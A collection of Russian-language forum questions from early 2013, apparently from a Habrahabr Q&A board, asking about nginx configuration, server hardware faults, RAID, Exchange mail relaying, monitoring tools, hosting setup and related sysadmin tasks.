Произошла странная штука, ссылки кнопок Share и Send to виджетов facebook сайтов стали переписываться на https. Так как наши сертефикаты SSL самоподписные, имеем нехороший вид для пользователей и теряем аудиторию.


Вот тут пример того, как предлагается решить проблему, но редирект не происходит.


Более того, в конфигурации вида

server { listen 443 ssl; rewrite ^(.*) http://$host$1 permanent; # ssl on; ssl_certificate /etc/nginx/conf.d/server.crt; ssl_certificate_key /etc/nginx/conf.d/server.key; ....

сервер вообще отказывается иметь с посетителем дело. Дескать нужен включенный SSL. Включение SSL приводит к началу проблемы. Принятие «паленого» самоподписного сертификаты приводит к желаемому редиректу на HTTP.


Как сделать редирект до предоставления сертификатов?
 

2013.01.01, 18:09:46   #Серверы - #31599


В рамках курсовой работы написал простой сервер на С++ и OpenCV, который позволяет стримить видеопоток с веб-камеры в браузер. Видеопоток в формате .ogg, кодек Theora. Браузер всё добро отображает с помощью HTML5 — обычная страничка с тегом video.
Сервер с помощью OpenCV захватывает кадры с камеры и через кодек пишет их в файл, собственно стриминг в браузер идёт уже с файла.
Из-за неравномерного размера кадров при записи их с файла в буфер передачи через сокет возникает момент, когда браузер начинает проводить буфферизацию и не может дальше автоматически продолжить воспроизведение потока.
Вопрос: есть ли какие-то методы заставить браузер продолжить воспроизведение?
 

2013.01.03, 22:59:43   #Системное администрирование - #31699


Посоветуйте, пожалуйста, легковесный мониторинг HTTP.
Нужно мониторить несколько HTTP-локаций (HTML/JSON/XML/etc) и выводить это все красиво на одной странице.
Не SaaS.

Основной критерий — чтобы настраивался на мониторинг 2-3 локаций с нуля не больше чем за полчаса (без предварительного знакомства с этой программой).

Желательно, но не обязательно, и не в ущерб основному вышеприведенному критерию:
Возможность проверять ответы на POST-запросы. Проверка на возвращаемый определенный статус-код HTTP, а не просто 200/не200 (400,401,403,404,409,500 используются точно и хочется их различать). Небольшое количество фич — плюс. Или как вариант небольшое количество по-умолчанию включенных фич.

Уточню зачем это нужно: времени на настройку нормального мониторинга пока нет, но какой-то минимум (работает/неработает) хочется отслеживать уже сейчас.
 

2013.01.04, 11:06:00   #Системное администрирование - #31717


Доброго времени суток, хабровчане.
По мотивам стетей захотелось спросить про ответственность приходящего сисадмина.
«Мой знакомый» неофициально работает админом в небольшой фирме. Большинство компьютеров на убунту, Win2k3Server + 1C — лицензии. Еще есть несколько win-машин, на некоторых есть лицензия и в качестве офиса — OOo. Но есть такие, которые достались в наследство, т.е. может и легально куплено, а может и так поставлено, ну и офис от MS аналогично.

Так вот вопрос, что будет админу такому в случае проверки?
За зп админ расписывается, я так понял на внутренних бланках (в смысле, для отчета перед руководством).

Еще раз — официального трудоустройства нет, но сотрудники знают кто и чем занимается.

Спасибо.

P.S. Все происходит в РФ.
 

2013.01.05, 08:28:44   #Системное администрирование - #31763


Собственно хочется простого — иметь кроосплатформенный фреймворк для тестирования приложений(python) на виртуальных машинах.

В идеале список требований к нему такой:
— запуск виртуалки (в частности vmware, но не отказался бы от чего-то более универсального)
— загрузка туда новой версии приложения/настройка окружения/выгрузка результатов
— погонять тесты, с возможностью потом централизованно посмотреть результаты
— очень хочется иметь возможность автоматически поработать с GUI + поснимать скриншоты

Google в ответ на такие запросы крутит у виска и выдает какой-то дикий зоопарк узкоспециализированных и зачастую не кроссплатформенных решений, выбрать набор стоящих сложно, разбираться с каждым в отдельности не хочется. В принципе на том же python можно было бы написать упрощенную версию чего-то подобного самому, но боюсь уж очень трудозатратно получится. Надеюсь Хабраразум подскажет стоящее решение.

Заранее большое спасибо.
 

2013.01.05, 21:13:12   #Системное администрирование - #31795


Добрый день. Посоветуйте пожалуйста утилиту, которая смогла бы на win сервере мониторить определенные папки и результаты кидать в лог/на емейл.
 

2013.01.08, 12:01:23   #Серверы - #31921


Это мой первый сервер с raid, потому сильно не ругайте.

Пришел R-Style Marshall с 5 дисками из которых 4 было объединено в 10-й рэйд, а 5 был оставлен под hot spare. Все сделано было с помощью встроенной утилиты. Причем в ней VD0 уже был видел. Идем дальше и после загрузки bios VD0 уже не виден.

Решил сделать check consistency в той же утилите, но этот чек занимает огромное количество времени.

Созрели вопросы

1. Нужно ли вообще делать это при первоначальном создании рэйда?

2. Без последствий можно прервать этот процесс?

3. Может я просто что-то недонастроил в bios?
 

2013.01.08, 23:47:47   #Системное администрирование - #31947


Через некоторое время просто отключается инициатор (делает log off из таргет)
кто нибудь встрачался с такой проблемой?
 

2013.01.09, 12:37:02   #ISPmanager - #31993


Приветствую сообщество.
Если кратко, средних параметров сервер, в нём ~30 сайтов + бэкапы, в основном modx, и расово верные дополнения.

До Н.Г. всё было ок, 1го числа было падение, затем 2го -3го висело вплоть до 8 в промежутках. Грешил сначала на ддос, служба поддержки позже начала втирать о превышеных лимитах на диск. квоту, память и т.д. Просят взять другой более дорогой тариф…

Я смотрел в ssh вроде всё ок, и поэтому мучают сомнения в чем может быть причина и как установить какой сайт именно грузит сервер? Прошлую тему habrahabr.ru/qa/3348/ прочел и испробовал.

Еще варианты?
 

2013.01.09, 17:24:25   #Системное администрирование - #32033


Дано: сервер на Ubuntu 12.04.

Необходимо удалённо работать с его GUI программами так, чтобы на реальном его рабочем столе это не отображалось.
Проброс иксов через SSH не подходит — тормознуто и при отваливании SSH и программа, запущенная через SSH убивается. Необходимо, чтоб при удалённом запуске программы продолжали работать.

Использовал tightvnc — он идеально подходил, создавал копию рабочего стола и не требовал автологина пользователя (vino, например, запускается только после логина в систему через иксы). Я просто удалённо по ssh запускал сервер, он создавал копию рабочего стола и я мог работать, завершать SSH соединение и подключаться к созданному VNC серверу. Но у него есть баг — периодически отваливается сам VNC сервер. Вот, ищу ему замену.

Пытался разобраться с xvnc4server по этому мануалу. Но вместо рабочего стола видел серый квадрат
 

2013.01.09, 19:11:55   #Системное администрирование - #32041


Приветствую!

В данный момент у меня под управлением порядка 15ти серверов (большая часть из них это виртуалки) и их количество постоянно увеличивается. Я стараюсь делать разные пароли на root и ключевые сервисы (типа mysql) для каждого из них. Итого, получается 5-6 паролей на сервер. Сам логинюсь по ключу.

Базу данных паролей я храню в 1password, что меня вполне устраивает, но я, предлолагаю, что можно сделать лучше и удобнее.

Как и где вы храните пароли от серверов? Как это делают компании типа Яндекса? Наверняка есть некое универсальное решение.

Заранее спасибо за ответ.
 

2013.01.10, 11:45:03   #Системное администрирование - #32085


всем привет!


Есть задача организовать wifi-Hotspot для гостей для доступа в Интернет. Сеть будем иметь открытая, без ключа. Основное требование — пускать в Интернет по логину-паролю или по ваучеру, который должен будет генерироваться секретарём или администратором каждый раз когда нужен доступ.

В бюджете нет больших ограничений, но хочется построить правильное, бюджетное и стабильное решение, так как решение требуется для малого бизнеса.


Пока нашёл следующие решения:


0. UniFi 2.0 Хотспот для кафе и гостиниц. habrahabr.ru/company/comptek/blog/125876/


1. Wifi HotSpot на основе Pfsense.
ru.doc.pfsense.org/index.php/%D0%A3%D1%81%D1%82%D0...(pfSense_2.x)


2. Wifi HotSpot на основе ZyXEL ZyAIR B-4000. www.thg.ru/network/200310171/zyxel-11.html


3. Wifi Hotspot на основе оборуддования D-Link. d-link.ua/wireless_solutions_4


Есть ли ещё какие-то интересные решения, которые вы знаете или применяли?

Смотрел на DD-WRT, но что-то не нашёл внятного описания — может кто-нибудь поделиться?


так же вопрос — какие порекомендуете использовать точки доступа? PoE?


Любые советы и опыт приветствуются!
 

2013.01.10, 15:29:48   #Системное администрирование - #32103


Коллеги, подскажите хорошие книги, которые будут полезны администратору Windows. Благодарю.
 

2013.01.11, 10:13:04   #Системное администрирование - #32155


У меня есть несколько различных систем мониторинга, часть самописные, часть это munin — все системы умеют вызывать внешную комманду при проблемах.


Сейчас при проблемах они все отсылают email, однако если вылетел диск и проверка идет каждые 5 минут, то я каждые 5 минут буду получать письмо.


Менять все системы на одну большую и хорошую ( заббикс) я не хочу( не могу) из-за трудо затрат. Может кто видел, скрипт(демон, сервис) на вход которого передаются все события, настраиваются правила уведомления.


Хочется, чтобы администратор получал не 60 писем в час ( если проверка идет каждую минуту), а первое письмо, потом еще одно письмо через 20 минут, потом еще письмо через час, потом письмо через 4 часа.
 

2013.01.13, 10:31:09   #Системное администрирование - #32277


Добрый день!
Ситуация в следующем:
Есть windows server 2008R2 (в рабочей группе), там установлен бухгалтерский софт. Туда подключаются люди по RDP, работают с ним, делают выгрузки в файл. Файл выгружается на локальный диск этого сервера, который у клиентов подключен как сетевой (\\IPaddress\d$ )
Иногда возникает странная ситуация — выгрузка закончена, файлик виден на самом сервере, но на клиентах его нет! Файл не большой, 3-4 КБ, поэтому если он выгрузился- значит выгрузился.
На клиентах (семерка и может быть XP, надо будет уточнить) этот файлик в подключенной папке становится виден ну минут через 5-10… Глюк плавающий, четкого повторения добиться не удалось. Бухгалтера уже смирились с таким глюком, но все равно иногда начинают меня терзать на предмет «почему так» :)
Такой вот странный глюк. НКто-нибудь сталкивался с чем-либо похожим?
 

2013.01.14, 01:39:21   #Системное администрирование - #32329


здравствуйте! мне нужна программа на линукс которая показывает в реальном времени, кто и что пишет с/на жесткий диск,( + читает) (можно и без пути), как в шындовсе восьмерке в таск менеджере. желательно консольную.
может есть какой софт. спасибо.
 

2013.01.15, 15:34:31   #Системное администрирование - #32461


Доброе время суток.

Есть 2 сервера:
— который смотрит только в локальную сеть (будем называть его IntServ);
— который смотрит одной ногой в интернет (будем называть его ExtServ), другой в локальную сеть и видит IntServ;

На IntServ настроен Exchange Server 2007 и используется он как внутрикорпоративная почта с адресами вида @%prefix%.example.local, где %prefix% — это некий региональный префикс, который меняется в разных регионах и подразделениях. На ExtServ также стоит Exchange Server 2007 и к нему прикручен домен %prefix%.example.com, где %prefix% означает тоже самое, что и у IntServ.

Возможно ли настроить так ExtServ, чтобы они занимался пересылкой почты через себя от IntServ на любую почту в интернете? Поясню на примерах:
— login1@a.example.local посылает письмо login2@b.example.local. Письмо идёт на IntServ и там дальше по внутренней локальной сети к login2.
— login1@a.example.local посылает письмо на login@example.net. Письмо идёт на IntServ, он «понимает», что письмо во вне, отсылает его ExtServ, тот подменяет адрес на login1@a.example.com и посылает какому-то серверу, обслуживающий домен example.net.
— Обратная ситуация: login@example.net посылает письмо login2@b.example.com. От сервера, обслуживающего example.net письмо приходит на ExtServ, он подменяет адрес на login2@b.example.local, отсылает письмо на IntServ, тот уже передаёт login2.

Чисто логически я тут проблемы не вижу, нужно лишь правила обработки почты на IntServ и ExtServ написать, но можно ли такое сделать на Exchange Server 2007?

P.S. IntServ нельзя просто дать доступ к интернету — служба безопасности порвёт всех и вся.

Заранее огромное спасибо!
 

2013.01.15, 19:49:54   #Серверы - #32487


Добрый день


Есть локальная сеть с 20 компами. Если комп, выделенный начальством «под сервер». На компах стоит Windows XP-7, на «сервер» можно ставить что угодно. На всех компах юзеры авторизуются под «Гостем».


Нужно найти ПО, которое позволяло бы юзерам на локальном компе, уже после авторизации в «Гостя» получить доступ к определенным сетевым дискам с определенными правами, которые определялись бы при авторизации пользователя в отдельном ПО. То есть на клиентских компах должна быть запущена программка, куда юзер введет логин-пароль и в папке «Компьютер» появится набор сетевых дисков. После Log Off сетевые диски должны быть отключены.


Пробовали Samba — не то. Сетевые диски не создает, просто показывает папку в разделе Сеть. Кроме того, мы не хотим эти диски указывать вручную, все должно быть автоматически.
 

2013.01.16, 01:20:33   #Серверы - #32511


Centos на hyper-v, свежий, только что обновленный до 6.3.
Хочу поднять nginx, php 5.3, php-fpm
Посоветуйте репозиторий, или пару, откуда правильнее всего это делать? Всегда использовал remi для php, задумался о правильности
 

2013.01.16, 14:22:12   #Системное администрирование - #32545


Хочу сделать так: в здании > 20 системников, пустить их всех в интернет через шлюз на котором стоит убунту сервер, все станции получают динамический ip, у меня есть мак-адреса всех станций и я по ним хочу иметь статистику кто и сколько кушает интернет. Машины везде разные (win7, XP, mac, ubuntu) хочется не проводя никакой настройки на этих машинах знать кто-сколько кушает интернета, и что бы людей не отвлекать никакими логинами и паролями. Подскажите можно ли такое сделать? Может что-то почитать полезное, что?
 

2013.01.17, 12:36:55   #Системное администрирование - #32603


Добрый день.

Столкнулся со следующей ситуацией.

Есть сервер с Debian Squeeze, на нём установлен nginx 0.7.67 (из репозитория).

В принципе, всё работает без проблем, но заметили, что иногда не получается приконнектиться к порту. SYN приходит, ответа нет.

Пробовал включить syncookies, это несколько помогло (в логах вылезли ошибки про «possible SYN flooding on port 80. Sending cookies.»). Но всё равно были проблемы с коннектом. Синфлуда при этом нет, это просто много легального трафика.

После этого, увеличил следующие параметры:
net.core.somaxconn = 128000 net.core.netdev_max_backlog = 10000 net.ipv4.tcp_max_syn_backlog = 128000'

У нжинкса увеличил listen backlog до 65536.


Сообщения про «possible SYN flooding» исчезли, однако всё равно периодически не приконнектится к серверу. Проверял простеньким скриптом, который поднимает 20 тредов и открывает и закрывает сокеты к 80-му порту в каждом треде.

Из 1000 попыток открыть сокет около 30-50 отваливаются по таймауту (2 секунды), остальные при этом коннектятся практически мгновенно.


При всём этом в dmesg пусто, в error.log нжинкса тоже пусто.


Кусок конфига нжинкса:
user www-data; worker_processes 2; worker_rlimit_nofile 65535; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; events { worker_connections 65535; use epoll; } server { listen 80 default backlog=65536; ..... }


На сервере 2 ядра, LoadAverage держится меньше единицы.


В netstat'e примерно такая картина:
# netstat -ant | grep tcp | tr -s ' ' ' ' | awk '{print $6}' | sort | uniq -c 22 CLOSING 3729 ESTABLISHED 815 FIN_WAIT1 3807 FIN_WAIT2 138 LAST_ACK 5 LISTEN 167 SYN_RECV 37 SYN_SENT 1104 TIME_WAIT


В stub_status'e нжинкса:
Active connections: 5985 server accepts handled requests 35200 35200 34437 Reading: 341 Writing: 223 Waiting: 5421

На всякий случай — SYNы до сервера точно доходят, снимал tcpdump, в нём они видны.


Подскажите, пожалуйста, что смотреть, куда копать, кто сталкивался?
 

2013.01.18, 10:58:27   #Серверы - #32673


Господа, подскажите пожалуйста, а как лицензируется офис на терминальном сервере? Достаточно одной лицензии или их кол-во должно быть равно кол-ву клиентов? Можно ли использовать коробочные версии или нужна корпоративная (в какой поставке)? Подскажите пожалуйста, а то с виндой всё ясно, а про офис я не в курсе.
 

2013.01.18, 12:02:11   #Серверы - #32681


Здравствуйте!
Столкнулся с интересной ситуацией:
Материнская плата поддерживает частоту памяти 1600 MHz, а процессор, по спецификациям: 800/1066
Вопрос: сможет ли процессор, с такой спецификацией, работать с более шустрой памятью?

Конкретизирую:
MB: ark.intel.com/products/61040/Intel-Server-Board-S2400GP2
CPU: ark.intel.com/ru/products/64614/ProductCollection.aspx?brand=41492
 

2013.01.18, 17:33:14   #Системное администрирование - #32711


Существует ли возможность сбрасывать/обновлять содержание кеша частично?

Т.е. в кеше хранится массив данных и нужно обновить только одну страницу, не сбрасывая весь кеш.
 

2013.01.20, 11:46:42   #Серверы - #32809


Добрый день!
Есть парк серверов — 2 нагруженных веб-сервера (2 популярных веб-проекта), 2 сервера менее нагруженных, 5 серверов СХД, 3 сервера выполняющих расчеты.
Планируется взять администратора на обслуживание этого добра(обновление ПО, решение проблем, установка новых серверов изредка, выполнение различных мелких задач). Всего — до 16 часов работы в месяц
Вопрос — сколько стоит за это предлагать — так чтоб и админ был доволен и свой кошелек не пострадал:)?
Спасибо!
 

2013.01.20, 15:27:52   #Системное администрирование - #32823


Есть проксирующий nginx перед виртуалками, хочу разрезать логи по доменам в одноименные $host-access.log файлы nginx'ом изначально, но что-то не выходит каменный цветок.

http { upstream first-upstream { server 12.34.56.1:80; } #access_log /var/log/nginx/$host-access.log; server { listen 80 default_server; location / { proxy_pass http://first-upstream; #access_log /var/log/nginx/$host-access.log; }


Не работает в любом месте включения строки access_log. В error.log сваливается:...testing "/etc/nginx//html" existence failed (2: No such file or directory) while logging request...

У Сысоева этот вопрос каким-то странным образом решали, но у меня не root, а пучек upstream'ов разноайпишных.
 

2013.01.21, 03:11:12   #Системное администрирование - #32851


Насколько будет полезная статья о настройке Postfix'a в multiple instances режиме?


Это когда можно сделать так чтобы на одной машине запустилось несколько Postfix'ов с индивидуальными настройками.


Собственно в статье будет о том, как настроить Postfix с индивидуальными очередями для нескольких IP. Все что пришло на int-IP -> уйдет через предопределенный ext-IP. Ну и любые другие индивидуальные настройки для каждой копии.
 

2013.01.21, 04:10:51   #Серверы - #32855


давайте составим чеклист для проверки сервера. с чего нужно начинать, какой набор программ / скриптов использовать. все сервисы уже установлены, и так скажем крутятся несколько сайтов даже. может есть уже где примеры. по типу — проверка ab, mysqltuner, mysqlreport, php -m, apache -M, sysctl.conf, etc.
 

2013.01.21, 16:00:40   #Системное администрирование - #32899


Имеем обычный HDD iotop -o -a за ½ часа

USER DISK WRITE IO COMMAND root 54,52 M 0,00% sw-collectd -C /etc/sw-collectd/collectd.conf root 77,27 M 0,71% [flush-253:0] root 49,90 M 1,74% [jbd2/dm-0-8] apache 19,04 M 0,01% httpd apache 18,16 M 0,04% httpd apache 14,61 M 0,02% httpd apache 12,80 M 0,01% httpd apache 12,63 M 0,03% httpd apache 12,11 M 0,02% httpd apache 10,42 M 0,02% httpd apache 5,02 M 0,01% httpd apache 4,83 M 0,01% httpd nginx 4,72 M 0,01% nginx worker mysql 2,37 M 0,02% mysqld mysql 2,03 M 0,00% mysqld mysql 88,00 K 0,00% mysqld


Итоги:

* sw-collectd — наследие Plesk'а. Какой-то прожорливый по записи (но не по IO) мониторинг.

* flush-253:0 + jbd2/dm-0-8 — дисковое журналирование (?).

* httpd/nginx — а это и есть основной источник дисковой записи — ЛОГИ!


Вроде бы не велика беда. Ну проходит за месяц ± 500Gb по дисковой системе, ну отъедаете это 0.2% IO, однако хочется понимать, на что уже сегодня следует обратить внимание, что бы меньше было вопросов завтра.


Есть какой-нибудь администраторский Дзен на дисковую тему?

Логи последнего часа вынести на безжурнальную систему?

Упростить логи и отловить ошибки кода, что бы не крошило в лог?
 

2013.01.22, 02:34:13   #Системное администрирование - #32937


Имеется сервер на Windows 2008 R2 + RAS

В Ras поднято удаленное подключение к провайдеру + ЛАН

Если в ICS (интернет коннекшн шеринг) — можно делать так, чтобы удаленные устройства могли пробрасывать себе порты снаружи внутрь через UPNP — то в РРАС нет такой опции для управления подключением.

Быстрое гугление показало что нельзя =(
Т.е. гибкость в настройке роутинга и прочего — это RRAS, а делить тырнеты на сеть — это ICS, но в нем настроек — кот наплакал…

Соответственно различные сервисы при установленном RRAS, которые слушают интернеты динамически снаружи не работают.
Можно ли как-то включить эту опцию?
 

2013.01.22, 07:46:04   #Хостинг - #32943


Добрый день. Планируется установка сервера для собственных нужд, сейчас стоит вопрос о выборе панели управления «хостингом» для себя. Панель нужна для автоматизации рутины. Вчера случайно наткнулся на www.zpanelcp.com/ погонял на виртуалке в купе с CentOS6, работает очень не плохо, интерфейс приятный, юзабилити не загоняет в ступор, количество модулей и набор функциональности на уровне. Читал о последних уязвимостях, все фиксится относительно шустро. Порадоволо то, что не поганит конфиги, создает довольно чистые файлы конфигурации. Не требует специфического ПО, все берет из стандартных репозиториев.


Хотелось бы услышать мнение тех, кто сталкивался с данной панелью
 

2013.01.22, 08:47:50   #Серверы - #32947


Здравствуйте!


Столкнулся с проблемой.

Собрали сервер новый.

При установке любой ОС он либо выключается, либо, в случае с Windows 2012, после копирования файлов, появляется BSOD (код ошибки не успеваю увидеть, в ребут уходит), и сервер уходит в ребут.

При установке Ubuntu Server, после выбора языка сервер просто выключается. Выключается и при установке Win Server 2008 R2, после копирования фалов, опять же.


При включении сервера динамик пищит коротко 6 раз: Ошибка инициализации контроллера клавиатуры, подсказывает вики.

Когда отключал клаву слышал как пищал и 4 раза и 5. (Неисправность системного таймера и Проблемы с процессором, соответственно).


При этом, в bios всё определяется отлично!!! Всё узлы видны, все характеристики соответствуют спецификациям. Настройки сделаны вроде правильно.


Конфигурация сервера

MB: Intel® Server Board S2400GP2

CPU: Intel® Xeon® Processor E5-2407

(10M Cache, 2.20 GHz, 6.40 GT/s Intel® QPI)

Оператива: Kingston KVR16R11D4/16 16Gb

Жёсткий диск: 1ТБ, 3.5", 7200об/мин, 64МБ, SATA III, Seagate Barracuda 7200.14, ST1000DM003


Что пробовал сделать для решения проблемы.

1) Сбрасывать настройки биоса, реконфигурировать

2) Пробовал стартовать без HDD

3) Пробовал менять слот оперативы, но если первый слот пуст, то пищит три раза, долго, не видит память. Так что полноценно попробовать не удалось

4) Пробовал разные дистрибутивы, лайв образы

5) Пробовал включаться без клавы и мыши


Подскажите, с чем наиболее вероятно проблема, и если дело в настройках, подскажите, на что обратить внимание!

Спасибо!
 

2013.01.22, 10:46:19   #Системное администрирование - #32957


Здравствуйте.

Долгое время мы с коллегой были единственнами разработчиками, у нас есть свой локальный сервер с nginx + php-fpm + mysql + git.

На локальном сервере есть все наши проекты, и когда к нам пришёл ещё один разработчик — встала задача дать ему возможность использовать всё тоже самое, но в изолированной среде, т.к. сотрудник пока на испытательном сроке и 100% уверенности в нём нет.


На сервере стоит Ubuntu server, опыт администрирования есть, но вот опыта с изолированием пользователей нет.

Я так понимаю, с chroot много возни, и самый простой вариант будет поднять виртуалку.

Отсюда вопрос — какую виртуальную машину выбрать для этих целей? Какие подводные камни?

Заранее спасибо!
 

2013.01.23, 00:14:02   #Системное администрирование - #33027


Многоуважаемые, как решить задачи логирования и красивой организации конфигов nginx, когда адреса и с префиксом www/ftp/mysql… и без него хочется логировать в один файл в одной папке под заданный набор хостов?

upstream vserver_pool { server 100.100.100.100:80; } root /var/log/nginx/; access_log /var/log/nginx/$host-access.log; error_log /var/log/nginx/error.log; server { listen 80; server_name www.domain1.tld; return 301 http://domain1.tld$request_uri; root /var/log/nginx/$host/; access_log /var/log/nginx/$host/$host-access.log; } .......................................... server { listen 80; server_name www.domain100500.tld; return 301 http://domain100500.tld$request_uri; root /var/log/nginx/$host/; access_log /var/log/nginx/$host/$host-access.log; }

Проблема красивой организации конфигов всплывают, когда есть потребность к каждому хосту прибавить набор идентичных правил проксирования. 10 раз добавить идентичный кусок:
server { listen 80 default_server; location ~ /\.ht { deny all; } location = /favicon.ico { log_not_found off; access_log off; } location = /robots.txt { allow all; log_not_found off; access_log off; } location / { proxy_pass http://vserver_pool; proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504; proxy_redirect off; proxy_buffering off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }

И 5 раз — не идентичный. Возникает проблема с иерархией. Я полагал, что частный случай конфига будет иметь приоритет, однако все, чего я добиваюсь — дублирование логов, в случае наличия префикса www в имени хоста.
 

2013.01.23, 06:47:54   #Хостинг - #33037


Только что обнаружил, что доступ к zhurnal.lib.ru/ заблокирован «Ростелеком» со ссылкой на zapret-info.gov.ru. (Разумеется, ни по имени домена ни по IP zapret-info.gov.ru не выдаёт этот сайт как заблокированный.)

А вопрос у меня такой: я, вообще-то, нахожусь на Украине. Законы принятые в России как-бэ не должны ограничивать граждан других стран, не? Особенно тех, которые даже не находятся на территории России? Если бы закон требовал закрытия сайта/отключения серверов (расположенных на территории страны) — одно дело. Но он требует блокирования доступа к некоторым сайтам и может касаться только граждан своей страны. Ну, это по логике и в идеальном мире, разумеется. В общем, может Ростелекому стоит поумерить энтузиазм вылизывания жоп чиновникам и перестать блокировать доступ к сайтам, не заблокированным по данным zapret-info.gov.ru, хотя бы для не-российских IP?
 

2013.01.23, 17:00:11   #Серверы - #33073


Завалялся у меня дома старенький компьютер:
AMD Duron 800 MHz, 192mb RAM, 40gb HDD Seagate, видео встроенное, мать ASUS модель не помню.

Хотелось бы услышать советы какой поставить дистрибутив Linux что бы быстро работал и безопасность была на высоте.
Веб сервер с БД (mysql и pg) будеть смотреть в интернет, хостить максимум 10 моих сайтов с небольшое посещаемостью.

Или FreeBSD будет быстрее и менее требовательна к железу?

Настроить конечно могу и сам всё с нуля, может просто есть какие небольшие дистрибутивы подобного рода?

И как по требованиям Ubuntu Server 12.04lts? Что то у них минимальные требования я не нашел к железу.

P.S. И потянет ли такая машина ещё если поставить систему контроля версий (cvs, mercurilal...) что бы через интернет удалённо мог исходники свои и ещё пара человек могли синхронизировать?
 

2013.01.27, 18:39:38   #Хостинг - #33367


В моем распоряжении VPS от Hetzner-a. Есть один домен с поддоменами, нужно добавить еще один домен.

1) Я так понимаю что нужно добавить еще одну DNS запись? (стоит у них 0.59 евро в месяц).
2) У меня на imena.ua в настройках уже есть одни ns сервера, то есть мне уже hetzner-a сервера по дефолту не нужны? (хотя первый домен работает на hetzner-овских). Если есть ns от imena то какие лучше использовать, их или от hetzner.
3) У меня первый домен настроен на директорию www (в настройке DNS записи), можно же второй домен настроить на поддиректорию www/somedir?
 

2013.01.28, 06:02:29   #Системное администрирование - #33397


Суть такая. Есть серверная стойка, в ней сервер esxi и система хранения VNX3100, есть домен на WIndows Server 2008.


Вопрос в следующем:

1. Использовать на СХД шару, тем самым зарегистрировать СХД в Домене.

2. Использовать виртуальный сервер Windows\*nix для файлового сервера с хранением виртуалки на СХД.


Сомнения:

1. СХД в домене как шара нормально ли?

2. Виртуальный сервер на esxi с хранением образа на СХД и использования его как файловый сервер. Стабильно/безопасно ли?
 

2013.01.28, 06:44:37   #Хостинг - #33399


Есть задачка сделать так, чтобы site.ru/cat вел на cat.site.ru.
В ISP Manager есть функция «автоподдомены как www директория», но похоже она толком не работает, т.к. при ее включении ничего не меняется.
Подскажите как реализуется такая схема?
 

2013.01.28, 18:20:38   #Хостинг - #33451


За пару лет уже четыре раза становилась система readonly (VPS Debian 2Gb). Причем, если раньше был перерыв в полгода, то в последний раз прошло всего две недели между сбоем сервера. Потихоньку растет посещаемость, но тенденция настораживает.


Для восстановления работоспособности делал.


umount -a

fsck -C0 /dev/sda

fsck -C0 /dev/sda1

fsck -C0 /dev/sda2

fsck -C0 /dev/sda3

mount -a


В чем может быть проблема и что посоветуете делать?
 

2013.01.29, 06:36:22   #Системное администрирование - #33491


Народ помогите настроить СХД VNXe 3100 как файловую шару в домене Windows Server 2008.


При стандартной настройке

Настройки — Настройка файлового сервера — добавить файловый сервер — Имя — ip моей сети — маска — шлюз? пишу любой у меня их 3 — Файловые ресурсы Windows — Присоединиться к домену — имя домена — ip КД — Логин и пароль администратора домена — При применении настроек получаю следующую ошибку «В домене Active Directory не удалось найти контроллер домена.

(Код ошибки:0x60008c5)»
 

2013.01.29, 11:24:03   #Серверы - #33505


Достался один мощный юнитовый сервер, и решили использовать его для рендеринга. Сам с таким дела не имел, понаходил только решения на базе нескольких серверов.
Кто с подобным сталкивался? В какую сторону копать или может мануалы есть готовые по построению. Или с одним ничего толкового не выйдет?
 

2013.01.30, 15:59:57   #Системное администрирование - #33611


Взял dedicated server на Windows Server 2008 R2 Web Edition (у OVH.COM).


На сервере будет крутиться IIS + SQL Server Express 2012.

Будет всего 1 сайт, которым будут пользоваться только сотрудники компании.


Когда сайт работал внутри интранет-сети все настройки были по-умолчанию и меня это устраивало. Но так как теперь сервер и сайт будут доступны в интернете появились повышенные требования к безопасности.


Подскажите или дайте ссылки на руководство по настройке безопасности iis и sqlexpress для боевых условий.

Нужна максимальная безопасность.


Доступ к сайту будет только по https-протоколу (создал бесплатный SSL-сертификат от startssl).
 

2013.01.30, 17:27:56   #Системное администрирование - #33621


Подскажите, пожалуйста, существуют ли системы (за ссылки отдельная благодаронсть!), которые позволят обновлять ряд сайтов в едином интерфейсе? Сужу задачу: php only, только популярные, opensource CMS.
Предположим, что у меня есть 3 чайта на WP, 3 на Joomla! и 1 на Drupal. Для них регулярно выходят обновления безопасности. Можно ли не идя в админку каждого по отдельности воспользоваться какой-то системой (сервисом) и провести их обновления из единого интерфейса?
 

2013.01.30, 20:19:22   #Хостинг - #33631


Доброго времени суток.


Пожалуйста, подскажите, как посчитать тарифы на хостинг?

Что нужно учитывать при формировании тарифов?
 

2013.01.31, 23:59:34   #Системное администрирование - #33727


Я нахожусь в городе K, в городе O остался мой PC с Windows 7 Home Premium, вчера моя мама, с помощью моих инструкций, собрала этот комп (был разобран) и установила туда Team Viewer (+1 за крутую маму), в результате чего у меня теперь к нему есть удалённый доступ, учётка админская. Но вот в чем проблема: мне хотелось бы иметь возможность удалённо включать его, чтобы он не тарабанил сутками. Подскажите, пожалуйста, наиболее оптимальные пути решения.
 

2013.02.01, 12:38:38   #Хостинг - #33749


Интересует вопрос о распространённости PHP 5.4. Стоит ли начинать делать новый коробочный продукт на нём? Или всё же придётся на PHP 5.3?
 

2013.02.01, 15:51:46   #Серверы - #33763


Здравствуйте, Хабрапользователи!

Я задумал настроить себе домашний сервер, который хостил бы мои скромные проекты и при этом служил бы интерфейсом домашнего кинотеатра и основой системы домашней автоматизации. По описаниям, в качестве интерфейса мне понравился вариант Linux MCE, но стабильный релиз очень древний (KUbuntu 8.10), даже нестабильный устарел еще до выхода (KUbuntu 10.04). И вообще — эта система не подходит, чтобы хостить на ней проекты и использовать как сервер.

Тогда появилась мысль о виртуализации — поставить серверный дистрибутив (Debian или Gentoo, еще не определился), а интерфейс организовать периодически включаемой виртуалкой. Но из особенностей — необходимость отдать виртуалке видеокарту (NVidia), возможность читать с реального жесткого диска и доступ к локальной сети.

Можете ли вы посоветовать, какую виртуализацию лучше использовать? Сходу пришел к выбору между Xen и KVM (хотя может, есть более подходящие варианты), но не могу сделать осознанный выбор.
 

2013.02.01, 18:24:30   #Хостинг - #33775


Много дистрибутивов красивых и разных. Нужно юзерфрендли решение, которое быстро разворачивается без подключения к интернету и сходу предоставляет в пользование что-то вроде локального веб-сервера (а-ля Денвер) с PHP и MySQL+phpMyAdmin.
 

2013.02.02, 19:29:15   #Хостинг - #33833


